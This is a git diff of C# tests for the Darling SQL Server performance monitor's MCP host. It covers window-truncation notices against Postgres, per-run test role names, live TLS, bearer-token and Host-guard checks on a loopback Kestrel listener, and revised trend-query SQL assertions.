+    public async Task AFailedProbe_CostsTheNotice_NeverTheRows_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await ForEachWindowToolAsync("probefail", async (connection, postgres, tool, name, end) =>
+        {
+            await SeedWindowServerAsync(connection, tool, name, end.AddDays(-2), end.AddDays(-2), 30, end.AddDays(-1), end, ct);
+
+            var bodySucceeded = false;
+            DarlingMcpWindowNotice.TestOnlyProbe = () => throw new TimeoutException("the probe's deadline passed");
+            try
+            {
+                var root = Parse(await CallAsync(postgres, tool, name, 168, end));
+
+                Assert.False(root.TryGetProperty("status", out _), tool);
+                Assert.False(root.TryGetProperty("error", out _), tool);
+                Assert.Equal(3, root.GetProperty(tool == "get_active_queries" ? "queries" : "tasks").GetArrayLength());
+                Assert.False(root.TryGetProperty("effective_start", out _), tool);
+                Assert.False(root.TryGetProperty("window_truncated", out _), tool);
+                Assert.False(root.TryGetProperty("truncation_note", out _), tool);
+
+                /* An empty answer: the same failed probe leaves the status without its hints. */
+                var empty = Parse(await CallAsync(postgres, tool, name, 1, end.AddDays(-5)));
+                Assert.Equal("empty", empty.GetProperty("status").GetString());
+                Assert.False(empty.TryGetProperty("hints", out _), tool);
+                bodySucceeded = true;
+            }
+            finally
+            {
+                await LiveStoreCleanup.RunOwnedAsync(bodySucceeded, () =>
+                {
+                    DarlingMcpWindowNotice.TestOnlyProbe = null;
+                    return Task.CompletedTask;
+                });
+            }
+        });
+    }
+
+    /// <summary>(b) A quiet start: registered a month ago, its first row two days into the window. The store covered the whole window, so false and the asked start.</summary>
+    [Fact]
+    public async Task ARowsAnswer_WhoseFirstRowComesLate_IsCovered_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await ForEachWindowToolAsync("quiet", async (connection, postgres, tool, name, end) =>
+        {
+            await SeedWindowServerAsync(connection, tool, name, end.AddDays(-30), end.AddDays(-8), 60, end.AddDays(-5), end, ct);
+
+            var root = Parse(await CallAsync(postgres, tool, name, 168, end));
+
+            if (tool == "get_active_queries")
+            {
+                /* The house omit-false rule: a covered default call stays inside the response budget, so the three keys
+                   are written only when the window was cut. get_waiting_tasks keeps them always, like the other raw-tier tools. */
+                Assert.False(root.TryGetProperty("window_truncated", out _), tool);
+                Assert.False(root.TryGetProperty("effective_start", out _), tool);
+                Assert.False(root.TryGetProperty("truncation_note", out _), tool);
+                return;
+            }
+
+            Assert.False(root.GetProperty("window_truncated").GetBoolean(), tool);
+            Assert.Equal(System.Text.Json.JsonValueKind.Null, root.GetProperty("truncation_note").ValueKind);
+            /* The asked start: an anchor within the client-clock allowance of now reads as now, so it is the call's own clock
+               a few seconds past the seeded minute, never earlier than the window and never later than the first row. */
+            var effectiveStart = DateTime.Parse(root.GetProperty("effective_start").GetString()!, System.Globalization.CultureInfo.InvariantCulture, System.Globalization.DateTimeStyles.RoundtripKind);
+            Assert.InRange((effectiveStart - end.AddHours(-168)).TotalSeconds, 0, 120);
+        });
+    }
+
+    /// <summary>(c) An empty one-hour window with no run in it: the store holds no collection, so the hints say NOT covered, with no start to name.</summary>
+    [Fact]
+    public async Task AnEmptyHour_WithNoRun_SaysTheStoreHoldsNoCollection_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await ForEachWindowToolAsync("norun", async (connection, postgres, tool, name, end) =>
+        {
+            await SeedWindowServerAsync(connection, tool, name, end.AddDays(-30), null, 30, null, end, ct);
+
+            var root = Parse(await CallAsync(postgres, tool, name, 1, end));
+
+            Assert.Equal("empty", root.GetProperty("status").GetString());
+            var hints = root.GetProperty("hints");
+            Assert.True(hints.GetProperty("window_truncated").GetBoolean(), tool);
+            Assert.Equal(System.Text.Json.JsonValueKind.Null, hints.GetProperty("effective_start").ValueKind);
+            Assert.Equal(
+                DarlingMcpWindowNotice.Build(null, end.AddHours(-1), TableOf(tool), emptyAnswer: true).TruncationNote,
+                hints.GetProperty("truncation_note").GetString());
+            Assert.Contains("no collection of " + TableOf(tool), hints.GetProperty("truncation_note").GetString(), StringComparison.Ordinal);
+        });
+    }
+
+    /// <summary>(d) An empty one-hour window with a run 35 minutes in: the store ran for it, so covered (false, null) at the asked start.</summary>
+    [Fact]
+    public async Task AnEmptyHour_WithARunInIt_IsCovered_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await ForEachWindowToolAsync("runin", async (connection, postgres, tool, name, end) =>
+        {
+            var start = end.AddHours(-1);
+            /* One run, 35 minutes after the window's start: the generate_series step is longer than the window. */
+            await SeedWindowServerAsync(connection, tool, name, end.AddDays(-30), start.AddMinutes(35), 600, null, start.AddMinutes(35), ct);
+
+            var root = Parse(await CallAsync(postgres, tool, name, 1, end));
+
+            Assert.Equal("empty", root.GetProperty("status").GetString());
+            var hints = root.GetProperty("hints");
+            Assert.False(hints.GetProperty("window_truncated").GetBoolean(), tool);
+            Assert.Equal(System.Text.Json.JsonValueKind.Null, hints.GetProperty("truncation_note").ValueKind);
+            Assert.Equal(McpHelpers.FormatEffectiveStart(start), hints.GetProperty("effective_start").GetString());
+        });
+    }
+
+    /// <summary>The empty answers carry the hints and the not_collected answer stays bare: the hints ride only on the empty status.</summary>
+    [Fact]
+    public void TheEmptyAnswers_CarryTheHints_AndNotCollectedStaysBare_InTheToolSource()
+    {
+        var source = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "Mcp", "DarlingMcpSessionTools.cs").ReplaceLineEndings("\n");
+        Assert.Contains("?? McpHelpers.Status(\"empty\", \"No active query snapshots found in the requested time range.\", notice.AsHints());", source, StringComparison.Ordinal);
+        Assert.Contains("?? McpHelpers.Status(\"empty\", \"No waiting tasks captured in the specified time range.\", notice.AsHints());", source, StringComparison.Ordinal);
+        Assert.DoesNotContain("NotCollectedStatusAsync(postgres, resolved.ServerId, resolved.ServerName, \"query_snapshots\", cancellationToken, notice", source, StringComparison.Ordinal);
+    }
+
     private static async Task DeleteRowsAsync(NpgsqlConnection connection, System.Threading.CancellationToken ct, bool keepServer = false)
     {
         var sql = string.Join(" ", new[] { "session_stats", "query_snapshots", "waiting_tasks" }
diff --git a/Darling/Darling.Tests/DarlingMcpStoreHostToolsLiveTests.cs b/Darling/Darling.Tests/DarlingMcpStoreHostToolsLiveTests.cs
index d6baa40112..70857caba4 100644
--- a/Darling/Darling.Tests/DarlingMcpStoreHostToolsLiveTests.cs
+++ b/Darling/Darling.Tests/DarlingMcpStoreHostToolsLiveTests.cs
@@ -29,7 +29,7 @@ namespace Darling.Tests;
 /// row assertion here rather than as a silent gap nobody caught before a real least-privilege deployment hit
 /// it.
 ///
-/// <para>Uses distinct <c>host_mcp_test</c>/<c>host_viewer_test</c> roles (the
+/// <para>Uses distinct <c>host_mcp_</c>/<c>host_viewer_</c> roles, each with a suffix unique to the run (the
 /// <c>DarlingSecuritySplitLiveTests</c> pattern) rather than the literal <c>mcp</c>/<c>viewer</c> names
 /// <c>DarlingManagedRoles.BuildProvisioningSql</c> renders, so this test can run against a shared rig without
 /// colliding with a real provisioning run. Granted the schema-level surface that provisioning gives the real
@@ -43,8 +43,12 @@ namespace Darling.Tests;
 [Collection("live-postgres")]
 public sealed class DarlingMcpStoreHostToolsLiveTests
 {
-    private const string McpRole = "host_mcp_test";
-    private const string ViewerRole = "host_viewer_test";
+    /* #4981: a role belongs to the whole cluster, so a constant name made two runs on one cluster share a role: the
+       second CREATE ROLE could fail with a duplicate, and the first run's DROP ROLE removed the role the second was
+       using. One suffix per run (8 lowercase hex characters) keeps each name a valid unquoted identifier. */
+    private static readonly string RunSuffix = Guid.NewGuid().ToString("N")[..8];
+    private static readonly string McpRole = "host_mcp_" + RunSuffix;
+    private static readonly string ViewerRole = "host_viewer_" + RunSuffix;
 
     /// <summary>Round-1 review, Low 6: a hardcoded password here is public in this repository, and each of
     /// these two LOGIN roles gets SELECT on every table in <c>collect</c>. Cleanup runs in <c>finally</c>, but a
diff --git a/Darling/Darling.Tests/DarlingMcpTlsLiveTests.cs b/Darling/Darling.Tests/DarlingMcpTlsLiveTests.cs
new file mode 100644
index 0000000000..1551f0e4fa
--- /dev/null
+++ b/Darling/Darling.Tests/DarlingMcpTlsLiveTests.cs
@@ -0,0 +1,346 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Net;
+using System.Net.Http;
+using System.Net.Http.Headers;
+using System.Net.Security;
+using System.Net.Sockets;
+using System.Security.Cryptography;
+using System.Security.Cryptography.X509Certificates;
+using System.Text;
+using System.Threading.Tasks;
+using Microsoft.AspNetCore.Builder;
+using Microsoft.AspNetCore.Hosting;
+using Microsoft.AspNetCore.Hosting.Server;
+using Microsoft.AspNetCore.Hosting.Server.Features;
+using Microsoft.AspNetCore.Http;
+using Microsoft.Extensions.DependencyInjection;
+using Microsoft.Extensions.Hosting;
+using Microsoft.Extensions.Logging;
+using Microsoft.Extensions.Logging.Abstractions;
+using Npgsql;
+using PerformanceMonitor.Darling.Analysis;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Service.Hosting;
+using PerformanceMonitor.Darling.Service.Mcp;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5288: a live proof that the MCP host's network listener serves HTTPS when a certificate was adopted, and plain
+/// HTTP when none was, over REAL Kestrel on 127.0.0.1 with an ephemeral port (not <c>TestServer</c>, which has no
+/// TLS layer to prove anything about). Everything the host composes at start is the production code, in the
+/// production order: <see cref="DarlingListenerTls.Resolve"/> reads the <c>mcp.network.tls</c> block with the MCP
+/// labels and the normalized host name, <see cref="DarlingMcpHostService.ConfigureListeners"/> binds the listeners
+/// exactly as <c>TryStartServerAsync</c> does, and <see cref="DarlingMcpHostService.ConfigurePipeline"/> installs
+/// the Host guard, the bearer token and the CIDR check. The host's own glue (adopt, bail, dispose, the network-mode
+/// gate) is pinned from source in <see cref="DarlingMcpHostTests"/>, because a network-mode start needs a managed
+/// store and cannot be driven from a test.
+///
+/// <para>The client reaches <c>darling.test</c> without DNS: a <c>ConnectCallback</c> sends every connection to
+/// 127.0.0.1, so the URL, the SNI name, the certificate's dNSName entry and the Host header all say
+/// <c>darling.test</c>, which is what a real client reaching the endpoint by its host name sends. The certificate
+/// is pinned by thumbprint, because a self-signed certificate is not in any trust store, and the name check is
+/// left ON for the by-name calls: a certificate that did not name the host would fail them.</para>
+/// </summary>
+public sealed class DarlingMcpTlsLiveTests
+{
+    private const string HostName = "darling.test";
+    private const string Token = "correct-mcp-token-value";
+    private const string ToolsList = "{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"tools/list\",\"params\":{}}";
+
+    /* ---- the proofs ---- */
+
+    /// <summary>By host name over TLS with no token: the certificate is accepted by name, the Host guard admits the
+    /// configured name, and the bearer gate refuses 401 before any handler runs.</summary>
+    [Fact]
+    public async Task ByHostNameOverTls_NoToken_Is401()
+    {
+        await using var rig = await StartAsync(withCertificate: true);
+        Assert.Equal("https", rig.Scheme);
+
+        using var client = Client(rig.Thumbprint, requireNameMatch: true);
+        var (status, _) = await ToolsListAsync(client, $"https://{HostName}:{rig.Port}/", bearer: null);
+
+        Assert.Equal(StatusCodes.Status401Unauthorized, status);
+    }
+
+    /// <summary>The same call with the right token gets past every gate to <c>tools/list</c>.</summary>
+    [Fact]
+    public async Task ByHostNameOverTls_WithToken_ToolsListIs200()
+    {
+        await using var rig = await StartAsync(withCertificate: true);
+
+        using var client = Client(rig.Thumbprint, requireNameMatch: true);
+        var (status, body) = await ToolsListAsync(client, $"https://{HostName}:{rig.Port}/", Token);
+
+        Assert.True(status == StatusCodes.Status200OK, $"expected 200, got {status}: {body}");
+        Assert.Contains("tools", body, StringComparison.Ordinal);
+    }
+
+    /// <summary>One port cannot speak both schemes: plain HTTP to the TLS listener fails at the handshake (or at
+    /// worst gets a 400). It is never served (200) and never reaches the token gate (401), because that would mean
+    /// the listener answered in the clear.</summary>
+    [Fact]
+    public async Task PlainHttpToTlsListener_IsRefused()
+    {
+        await using var rig = await StartAsync(withCertificate: true);
+
+        using var plain = new HttpClient { Timeout = TimeSpan.FromSeconds(30) };
+        try
+        {
+            var (status, _) = await ToolsListAsync(plain, $"http://127.0.0.1:{rig.Port}/", Token);
+            Assert.True(
+                status == StatusCodes.Status400BadRequest,
+                $"plain HTTP to the TLS listener answered {status}; only a refusal or a 400 is acceptable");
+        }
+        catch (HttpRequestException)
+        {
+            // Refused at the handshake: the expected outcome.
+        }
+    }
+
+    /// <summary>A Host that is not the listen IP, loopback or the configured name is still 400 over TLS, token and
+    /// all: the guard runs first. Once reached by a wrong URL name, once by a wrong Host header on the right name.</summary>
+    [Fact]
+    public async Task WrongHostOverTls_Is400()
+    {
+        await using var rig = await StartAsync(withCertificate: true);
+
+        using var client = Client(rig.Thumbprint, requireNameMatch: false);
+
+        var (right, rightBody) = await ToolsListAsync(client, $"https://{HostName}:{rig.Port}/", Token);
+        Assert.True(right == StatusCodes.Status200OK, $"the configured name must still work: {right}: {rightBody}");
+
+        var (byUrl, _) = await ToolsListAsync(client, $"https://evil.test:{rig.Port}/", Token);
+        Assert.Equal(StatusCodes.Status400BadRequest, byUrl);
+
+        var (byHeader, _) = await ToolsListAsync(client, $"https://{HostName}:{rig.Port}/", Token, hostHeader: "evil.test");
+        Assert.Equal(StatusCodes.Status400BadRequest, byHeader);
+    }
+
+    /// <summary>With no <c>tls</c> block nothing changes: <c>Resolve</c> exposes with no certificate (after the
+    /// cleartext warning), the network listener is plain HTTP exactly as before, and it does not speak TLS.</summary>
+    [Fact]
+    public async Task NoCertificate_NetworkListenerIsPlainHttp()
+    {
+        await using var rig = await StartAsync(withCertificate: false);
+        Assert.Equal("http", rig.Scheme);
+        Assert.Contains(rig.Log.Lines, line => line.StartsWith("Warning: MCP server is LAN-exposed WITHOUT TLS", StringComparison.Ordinal));
+
+        using var client = Client(pinnedThumbprint: null, requireNameMatch: false);
+
+        var (noToken, _) = await ToolsListAsync(client, $"http://{HostName}:{rig.Port}/", bearer: null);
+        Assert.Equal(StatusCodes.Status401Unauthorized, noToken);
+
+        var (withToken, body) = await ToolsListAsync(client, $"http://{HostName}:{rig.Port}/", Token);
+        Assert.True(withToken == StatusCodes.Status200OK, $"expected 200 over plain HTTP, got {withToken}: {body}");
+
+        // A TLS client gets nowhere: there is no certificate behind this listener.
+        await Assert.ThrowsAnyAsync<HttpRequestException>(
+            () => ToolsListAsync(client, $"https://{HostName}:{rig.Port}/", Token));
+    }
+
+    /* ---- the rig ---- */
+
+    /// <summary>
+    /// Starts the real listener the way <c>TryStartServerAsync</c> composes it in network mode: resolve the TLS
+    /// block, adopt the certificate, bind through <c>ConfigureListeners</c>, install the pipeline with the
+    /// normalized host name. The listen IP is loopback so the test needs no LAN address; loopback is also where the
+    /// wildcard/loopback collision rule says no second set of loopback listeners is added.
+    /// </summary>
+    private static async Task<Rig> StartAsync(bool withCertificate)
+    {
+        var log = new RecordingLogger();
+        var temp = Path.Combine(Path.GetTempPath(), "darling-mcp-tls-" + Guid.NewGuid().ToString("N"));
+        Directory.CreateDirectory(temp);
+
+        WebTlsConfig? block = null;
+        string? thumbprint = null;
+        if (withCertificate)
+        {
+            using var certificate = MakeCertificate();
+            thumbprint = certificate.Thumbprint;
+            var pfx = Path.Combine(temp, "mcp.pfx");
+            File.WriteAllBytes(pfx, certificate.Export(X509ContentType.Pkcs12, "hunter2"));
+            block = new WebTlsConfig { PfxPath = pfx, PfxPassword = "hunter2" };
+        }
+
+        var outcome = DarlingListenerTls.Resolve(
+            log, new McpTlsCertificateState(), ListenerTlsLabels.Mcp, block, IPAddress.Loopback, 0,
+            DarlingMcpHostService.NormalizedHostName(HostName));
+        Assert.True(outcome.Expose);
+        Assert.Equal(withCertificate, outcome.Certificate is not null);
+        var loaded = outcome.Certificate;
+
+        var builder = WebApplication.CreateBuilder(new WebApplicationOptions { EnvironmentName = Environments.Production });
+        builder.Logging.ClearProviders();
+        builder.WebHost.ConfigureKestrel(options =>
+            DarlingMcpHostService.ConfigureListeners(options, networkMode: true, IPAddress.Loopback, 0, loaded));
+
+        // A pool the gates never open: every case is refused, or reaches tools/list, before any tool body runs.
+        var postgres = NpgsqlDataSource.Create("Host=localhost;Database=postgres;Username=darling");
+        builder.Services.AddSingleton(postgres);
+        builder.Services.AddSingleton(new DarlingAnalysisService(
+            postgres, planFetcher: null, logger: NullLogger.Instance, baselineCache: new BaselineCache()));
+        builder.Services.AddSingleton<ILogger>(NullLogger.Instance);
+        DarlingMcpHostService.ConfigureMcpServices(builder.Services, DarlingPeerDirectory.Snapshot.Empty);
+
+        var app = builder.Build();
+        var host = new DarlingMcpHostService(
+            NullLogger<DarlingMcpHostService>.Instance, new McpRuntimeState(), new MonitoredServerRegistryState());
+        host.ConfigurePipeline(
+            app,
+            networkMode: true,
+            networkListenIp: IPAddress.Loopback,
+            allowedCidr: CidrAllowList.Parse("127.0.0.0/8"),
+            bearerToken: Token,
+            allowedHostName: DarlingMcpHostService.ResolveAllowedHostName(HostName, networkMode: true, NullLogger.Instance));
+        await app.StartAsync();
+
+        var address = new Uri(app.Services.GetRequiredService<IServer>().Features.Get<IServerAddressesFeature>()!.Addresses.First());
+        return new Rig(app, loaded, temp, address.Port, address.Scheme, thumbprint, log);
+    }
+
+    private sealed class Rig : IAsyncDisposable
+    {
+        private readonly WebApplication _app;
+        private readonly DarlingWebTls.LoadedCertificate? _certificate;
+        private readonly string _temp;
+
+        public Rig(
+            WebApplication app, DarlingWebTls.LoadedCertificate? certificate, string temp, int port, string scheme,
+            string? thumbprint, RecordingLogger log)
+        {
+            _app = app;
+            _certificate = certificate;
+            _temp = temp;
+            Port = port;
+            Scheme = scheme;
+            Thumbprint = thumbprint;
+            Log = log;
+        }
+
+        public int Port { get; }
+
+        public string Scheme { get; }
+
+        public string? Thumbprint { get; }
+
+        public RecordingLogger Log { get; }
+
+        public async ValueTask DisposeAsync()
+        {
+            await _app.StopAsync();
+            await _app.DisposeAsync();
+            _certificate?.Dispose();
+            try { Directory.Delete(_temp, recursive: true); } catch { /* best-effort */ }
+        }
+    }
+
+    /// <summary>A client that reaches <c>darling.test</c> (or any name) at 127.0.0.1 without DNS and trusts exactly
+    /// the pinned certificate. <paramref name="requireNameMatch"/> keeps the TLS stack's own name check on.</summary>
+    private static HttpClient Client(string? pinnedThumbprint, bool requireNameMatch)
+    {
+        var handler = new SocketsHttpHandler
+        {
+            ConnectCallback = async (context, token) =>
+            {
+                var socket = new Socket(SocketType.Stream, ProtocolType.Tcp) { NoDelay = true };
+                try
+                {
+                    await socket.ConnectAsync(new IPEndPoint(IPAddress.Loopback, context.DnsEndPoint.Port), token);
+                    return new NetworkStream(socket, ownsSocket: true);
+                }
+                catch
+                {
+                    socket.Dispose();
+                    throw;
+                }
+            },
+            SslOptions = new SslClientAuthenticationOptions
+            {
+                RemoteCertificateValidationCallback = (_, certificate, _, errors) =>
+                    certificate is not null
+                    && string.Equals(certificate.GetCertHashString(), pinnedThumbprint, StringComparison.OrdinalIgnoreCase)
+                    && (!requireNameMatch || (errors & SslPolicyErrors.RemoteCertificateNameMismatch) == 0),
+            },
+        };
+        return new HttpClient(handler) { Timeout = TimeSpan.FromSeconds(30) };
+    }
+
+    private static async Task<(int Status, string Body)> ToolsListAsync(
+        HttpClient client, string url, string? bearer, string? hostHeader = null)
+    {
+        using var request = new HttpRequestMessage(HttpMethod.Post, url)
+        {
+            Content = new StringContent(ToolsList, Encoding.UTF8, "application/json"),
+        };
+        request.Headers.Accept.ParseAdd("application/json");
+        request.Headers.Accept.ParseAdd("text/event-stream");
+        if (bearer is not null)
+        {
+            request.Headers.Authorization = new AuthenticationHeaderValue("Bearer", bearer);
+        }
+
+        if (hostHeader is not null)
+        {
+            request.Headers.Host = hostHeader;
+        }
+
+        using var response = await client.SendAsync(request);
+        return ((int)response.StatusCode, await response.Content.ReadAsStringAsync());
+    }
+
+    /// <summary>A self-signed certificate that names <c>darling.test</c> (dNSName) and 127.0.0.1 (iPAddress).</summary>
+    private static X509Certificate2 MakeCertificate()
+    {
+        using var rsa = RSA.Create(2048);
+        var request = new CertificateRequest("CN=darling-mcp-tls-tests", rsa, HashAlgorithmName.SHA256, RSASignaturePadding.Pkcs1);
+        var san = new SubjectAlternativeNameBuilder();
+        san.AddDnsName(HostName);
+        san.AddIpAddress(IPAddress.Loopback);
+        request.CertificateExtensions.Add(san.Build());
+        return request.CreateSelfSigned(DateTimeOffset.UtcNow.AddDays(-1), DateTimeOffset.UtcNow.AddDays(365));
+    }
+
+    private sealed class RecordingLogger : ILogger
+    {
+        private readonly List<string> _lines = new();
+
+        public IReadOnlyList<string> Lines
+        {
+            get
+            {
+                lock (_lines)
+                {
+                    return _lines.ToArray();
+                }
+            }
+        }
+
+        public IDisposable? BeginScope<TState>(TState state) where TState : notnull => null;
+
+        public bool IsEnabled(LogLevel logLevel) => true;
+
+        public void Log<TState>(
+            LogLevel logLevel, EventId eventId, TState state, Exception? exception, Func<TState, Exception?, string> formatter)
+        {
+            lock (_lines)
+            {
+                _lines.Add($"{logLevel}: {formatter(state, exception)}");
+            }
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/DarlingMcpToolsTests.cs b/Darling/Darling.Tests/DarlingMcpToolsTests.cs
index c50e61b905..288cac931f 100644
--- a/Darling/Darling.Tests/DarlingMcpToolsTests.cs
+++ b/Darling/Darling.Tests/DarlingMcpToolsTests.cs
@@ -438,7 +438,7 @@ including the #2000 occurrence stats. */
                     "finding_id", "analysis_time", "severity", "confidence", "confidence_basis", "category",
                     "root_fact", "leaf_fact", "story_path", "story_path_hash", "fact_count",
                     "incident_id", "occurrences", "first_seen", "last_seen", "peak_severity",
-                    "co_fired", "time_range", "advice", "remediation_command", "structured_remediation"
+                    "co_fired", "time_range", "advice", "remediation_command", "structured_remediation", "is_config_fix"
                 })
                 {
                     Assert.True(finding.TryGetProperty(field, out _), $"envelope field '{field}' missing");
diff --git a/Darling/Darling.Tests/DarlingMcpTrendToolsTests.cs b/Darling/Darling.Tests/DarlingMcpTrendToolsTests.cs
index 2346d0b142..ec90607516 100644
--- a/Darling/Darling.Tests/DarlingMcpTrendToolsTests.cs
+++ b/Darling/Darling.Tests/DarlingMcpTrendToolsTests.cs
@@ -83,9 +83,9 @@ private static (string Name, bool Optional)[] McpParams(string toolName)
     [InlineData("get_perfmon_trend", "counter_name,server_name,hours_back,as_of,bucket_minutes")]
     [InlineData("get_file_io_trend", "server_name,hours_back,as_of,bucket_minutes,database_name")]
     [InlineData("get_query_trend", "query_hash,database_name,server_name,hours_back,as_of")]
-    [InlineData("get_query_duration_trend", "server_name,hours_back,as_of,bucket_minutes")]
-    [InlineData("get_procedure_duration_trend", "server_name,hours_back,as_of,bucket_minutes")]
-    [InlineData("get_query_store_duration_trend", "server_name,hours_back,as_of")]
+    [InlineData("get_query_duration_trend", "server_name,hours_back,as_of,bucket_minutes,database_name")]
+    [InlineData("get_procedure_duration_trend", "server_name,hours_back,as_of,bucket_minutes,database_name")]
+    [InlineData("get_query_store_duration_trend", "server_name,hours_back,as_of,database_name")]
     public void ParamContract_MatchesLite(string toolName, string expectedCsv)
     {
         Assert.Equal(expectedCsv.Split(','), McpParams(toolName).Select(p => p.Name).ToArray());
@@ -237,9 +237,23 @@ public void FileIoTrendSql_RanksByStall_FoldsPerCollection_RecomputesLatencyFrom
         var series = Lf(DarlingTrendReader.FileIoSeriesSql);
         var trend = Lf(DarlingTrendReader.FileIoTrendSql);
 
-        /* One ranking, byte for byte, in both statements. */
+        /* One ranking in both statements. The series statement aggregates it (ranked); the trend computes the same
+           totals as window sums over its one scan, with no join back to a ranking (#5425: that join turned
+           quadratic on stale row estimates, 84.6 s over a week of the 609-series census shape). So the same
+           ordering, activity filter and restart filter are pinned in each, and the join is pinned absent. */
         var ranked = Cte(series, "ranked AS (");
-        Assert.Equal(ranked, Cte(trend, "ranked AS ("));
+        Assert.DoesNotContain("JOIN", trend, StringComparison.OrdinalIgnoreCase);
+        Assert.Contains("ROW_NUMBER() OVER (", ranked, StringComparison.Ordinal);
+        Assert.Contains("DENSE_RANK() OVER (", trend, StringComparison.Ordinal);
+        var trendRanked = Cte(trend, "ranked AS (");
+        Assert.Contains("ORDER BY stall_ms DESC,", trendRanked, StringComparison.Ordinal);
+        Assert.Contains("ops DESC,", trendRanked, StringComparison.Ordinal);
+        Assert.Contains("SUM(delta_stall_read_ms + delta_stall_write_ms) FILTER (WHERE active) OVER series AS stall_ms", trend, StringComparison.Ordinal);
+        Assert.Contains("SUM(delta_reads + delta_writes) FILTER (WHERE active) OVER series AS ops", trend, StringComparison.Ordinal);
+        Assert.Contains("(delta_reads > 0 OR delta_writes > 0) AS active", trend, StringComparison.Ordinal);
+        Assert.Contains("PARTITION BY database_name, file_type, file_name", trend, StringComparison.Ordinal);
+        Assert.Contains("WHERE active_rows > 0", trendRanked, StringComparison.Ordinal);
+        Assert.Contains("CASE WHEN cardinality($4::text[]) = 1 THEN file_name END AS file_name", trend, StringComparison.Ordinal);
         Assert.Contains("FROM v_file_io_stats", ranked, StringComparison.Ordinal);
         Assert.Contains("ORDER BY SUM(delta_stall_read_ms + delta_stall_write_ms) DESC,", ranked, StringComparison.Ordinal);
         Assert.Contains("SUM(delta_reads + delta_writes) DESC,", ranked, StringComparison.Ordinal);
@@ -247,16 +261,15 @@ public void FileIoTrendSql_RanksByStall_FoldsPerCollection_RecomputesLatencyFrom
         /* A restart row ranks nothing: the trend drops it (#3540), so it must not chart a series ahead of the
            ones whose deltas were knowable. */
         Assert.Contains("AND   sample_interval_seconds IS DISTINCT FROM 0", ranked, StringComparison.Ordinal);
-        Assert.Contains("AND   ($4::text IS NULL OR database_name = $4)", ranked, StringComparison.Ordinal);
+        Assert.Contains("AND   ($4::text[] IS NULL OR database_name = ANY($4))", ranked, StringComparison.Ordinal);
         Assert.Contains("collection_time >= $2", ranked, StringComparison.Ordinal);
         Assert.Contains("collection_time <= $3", ranked, StringComparison.Ordinal);
         /* The grain: (database, file type) unless a database is named, then its files. */
-        Assert.Contains("CASE WHEN $4::text IS NULL THEN NULL ELSE file_name END AS file_name", ranked, StringComparison.Ordinal);
+        Assert.Contains("CASE WHEN cardinality($4::text[]) = 1 THEN file_name END AS file_name", ranked, StringComparison.Ordinal);
         Assert.DoesNotContain("LIMIT", ranked, StringComparison.Ordinal);
 
         /* The fold: past $5 every ranked series takes the composer's residual label, pooled per collection. */
-        Assert.Contains("CASE WHEN r.series_rank <= $5 THEN r.database_name ELSE '" + TrendPayloads.OtherLabel + "' END AS database_name", trend, StringComparison.Ordinal);
-        Assert.Contains("JOIN ranked AS r", trend, StringComparison.Ordinal);
+        Assert.Contains("CASE WHEN series_rank <= $5 THEN database_name ELSE '" + TrendPayloads.OtherLabel + "' END AS database_name", trend, StringComparison.Ordinal);
         Assert.Contains("GROUP BY collection_time, database_name, file_type, file_name", trend, StringComparison.Ordinal);
         Assert.Contains("FROM per_collection", trend, StringComparison.Ordinal);
 
@@ -270,7 +283,10 @@ ones whose deltas were knowable. */
 
         /* The restart rule survives (#3540), and the bucket is the shared width on the shared origin, the first
            point clamped to the window's start. */
-        Assert.Contains("AND   f.sample_interval_seconds IS DISTINCT FROM 0", trend, StringComparison.Ordinal);
+        Assert.Contains("AND   sample_interval_seconds IS DISTINCT FROM 0", trend, StringComparison.Ordinal);
+        Assert.Contains("AND   ($4::text[] IS NULL OR database_name = ANY($4))", trend, StringComparison.Ordinal);
+        Assert.Contains("collection_time >= $2", trend, StringComparison.Ordinal);
+        Assert.Contains("collection_time <= $3", trend, StringComparison.Ordinal);
         Assert.Contains("GREATEST(date_bin(CAST($6 AS integer) * INTERVAL '1 minute', collection_time, " + TrendBucketSql.OriginSql + "), $2) AS bucket_start", trend, StringComparison.Ordinal);
         Assert.Equal(TrendBuckets.OriginSql, TrendBucketSql.OriginSql);
     }
@@ -296,7 +312,7 @@ private static string Cte(string sql, string opener)
     [Fact]
     public void QueryDurationTrendSql_PerSecondRate_ReadsBaseTable()
     {
-        var sql = DarlingTrendReader.QueryDurationTrendSql;
+        var sql = DarlingTrendReader.QueryDurationTrendFilteredSql;
         Assert.Contains("FROM query_stats", sql, StringComparison.Ordinal);                       /* base table, like the merged data reader */
         Assert.DoesNotContain("v_query_stats", sql, StringComparison.Ordinal);
         Assert.Contains("SUM(delta_elapsed_time)", sql, StringComparison.Ordinal);
@@ -312,7 +328,7 @@ public void QueryDurationTrendSql_PerSecondRate_ReadsBaseTable()
     [Fact]
     public void ProcedureDurationTrendSql_SameRate_OverProcedureStats()
     {
-        var sql = DarlingTrendReader.ProcedureDurationTrendSql;
+        var sql = DarlingTrendReader.ProcedureDurationTrendFilteredSql;
         Assert.Contains("FROM procedure_stats", sql, StringComparison.Ordinal);
         Assert.DoesNotContain("v_procedure_stats", sql, StringComparison.Ordinal);
         Assert.DoesNotContain("FROM query_stats", sql, StringComparison.Ordinal);
@@ -337,19 +353,44 @@ public void ProcedureDurationTrendSql_SameRate_OverProcedureStats()
     [Fact]
     public void ProcedureDurationTrendSql_PrefersTheStoredInterval_NeverFabricatesZero_AndMirrorsTheViewer()
     {
-        var sql = DarlingTrendReader.ProcedureDurationTrendSql;
-        Assert.Contains("CASE WHEN MAX(sample_interval_seconds) IS NULL", sql, StringComparison.Ordinal);
-        Assert.Contains("ELSE NULLIF(MAX(sample_interval_seconds), 0)", sql, StringComparison.Ordinal);
-        Assert.DoesNotContain("ELSE 0", sql, StringComparison.Ordinal);
